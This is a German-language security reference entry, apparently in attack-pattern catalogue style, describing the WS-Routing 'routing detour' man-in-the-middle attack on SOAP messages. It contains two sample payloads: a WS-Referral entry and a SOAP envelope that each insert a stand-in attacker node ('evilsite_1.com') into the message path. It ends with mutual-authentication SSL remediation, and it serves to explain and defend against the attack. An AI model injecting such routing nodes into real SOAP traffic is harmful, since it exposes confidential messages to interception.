Beschreibung
Das WS-Routing-Protokoll ist ein Protokoll zum Austausch von SOAP-Nachrichten von einem anfänglichen Nachrichtensender zu einem Empfänger, typischerweise über eine Reihe von Vermittlern. Das WS-Routing-Protokoll ist als SOAP-Erweiterung implementiert und in den SOAP-Header eingebettet. WS-Routing wird häufig verwendet, um den XML-Verkehr durch komplexe Umgebungen und Transaktionen zu leiten, indem Zwischenstationen im XML-Pfad einem XML-Dokument Routing-Anweisungen zuweisen können.
Mit einem minimalistischen Ansatz kapselt WS-Routing einen Nachrichtenpfad in einer SOAP-Nachricht, sodass die Nachricht genügend Informationen enthält, um mithilfe von Transporten wie TCP und UDP über das Internet gesendet zu werden, während Folgendes unterstützt wird:
- Das SOAP-Nachrichtenpfadmodell,
- Vollduplex-Einwegnachrichtenmuster,
- Vollduplex-, Anforderungs- / Antwortnachrichtenmuster und
- Nachrichtenkorrelation.
Routing-Umwege sind eine Art "Man in the Middle" -Angriff, bei dem Vermittler injiziert oder "entführt" werden können, um vertrauliche Nachrichten an einen externen Ort weiterzuleiten. Routing-Informationen (entweder im HTTP-Header oder im WS-Routing-Header) können unterwegs geändert werden, und Routing-Spuren können aus dem Header und der Nachricht entfernt werden, sodass die empfangende Anwendung nicht weiß, dass ein Routing-Umweg aufgetreten ist.
Hauptproblem
Der Angreifer fügt einen gefälschten Routing-Knoten (unter Verwendung eines WS-Referral-Dienstes) in die Routing-Tabelle des XML-Headers der in der Explore-Phase identifizierten SOAP-Nachricht ein. Auf diese Weise kann der Angreifer die XML-Nachricht an den vom Angreifer kontrollierten Knoten weiterleiten (und auf den Nachrichteninhalt zugreifen).
Beispiel für eine WS-Referral-basierte WS-Routing-Injektion der Scheinknotenroute
<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref>
Resultierender Routing-Umleitungsangriff
<S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope>
Folge
Mithilfe von Routing Detour kann der Angreifer die XML-Nachricht an einen von Hackern gesteuerten Knoten weiterleiten (und auf den Nachrichteninhalt zugreifen).
Allgemeine Sanierung
Design: Geben Sie die maximale Anzahl von Zwischenknoten für die Anforderung an und erfordern Sie SSL-Verbindungen mit gegenseitiger Authentifizierung.
Implementierung: Verwenden Sie SSL für Verbindungen zwischen allen Parteien mit gegenseitiger Authentifizierung